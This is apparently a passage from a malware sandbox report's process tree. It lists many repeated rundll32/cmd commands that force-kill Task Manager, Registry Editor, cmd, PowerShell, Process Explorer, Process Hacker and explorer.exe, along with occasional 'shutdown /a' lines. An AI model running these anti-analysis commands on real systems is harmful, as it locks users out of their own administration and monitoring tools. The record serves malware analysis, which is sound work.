  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3216
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:768
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3568
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4256
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3156
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3352
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6348
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6572
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1516
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6964
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6920
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5552
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3212
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1552
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:2960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4156
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1336
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5156
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5916
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1444
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1768
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5804
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:7140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1284
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5284
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1612
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2816
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6644
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5836
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5644
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:252
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:248
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6648
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4768
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2600
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2740
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:2844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1500
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:7112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4512
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6196
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:7116
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6168
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5052
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2380
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:7012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:7088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1272
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6612
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:6588
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4384
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4728
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1984
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6736
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4440
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2760
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:7004
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:7024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6192
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6296
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1152
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:916
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2072
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4824
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1304
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5752
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5876
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:2372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2544
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1520
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2248
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6772
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2252
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5996
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4200
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6352
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6492
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:772
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4424
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5652
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4360
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4468
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3336
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6056
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5808
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5824
